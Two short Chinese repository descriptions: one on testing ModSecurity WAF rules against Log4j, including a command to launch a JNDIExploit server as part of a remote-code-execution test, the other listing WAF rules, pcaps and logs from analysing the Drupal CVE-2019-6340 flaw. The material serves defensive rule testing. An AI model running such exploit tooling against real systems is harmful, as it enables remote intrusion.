ModSec-log4j2

测试 ModSec 规则 前提条件 已安装 Docker 已在本机安装 Java 执行测试 克隆仓库 执行以下命令启动 WAF（ModSec）和易受攻击的应用 docker stack deploy -c docker-compose.yml WAF 解压仓库中的 JNDIExploit.v1.2.zip，进入文件夹并执行以下命令，其中 $IP 应为本机 IP，不建议使用 127.0.0.1 java -jar ./JNDIExploit-1.2-SNAPSHOT.jar -i $IP -p 8888 要测试 RCE，请执行下面的 curl 命令，将 $IP 替换为本机...

cve-2019-6340-bits

cve-2019-6340-bits 分析 CVE-2019-6340 Drupal RESTful RCE 时生成的资料 modsec 规则 pcap 示例 nginx 配置 示例日志 示例 playbook...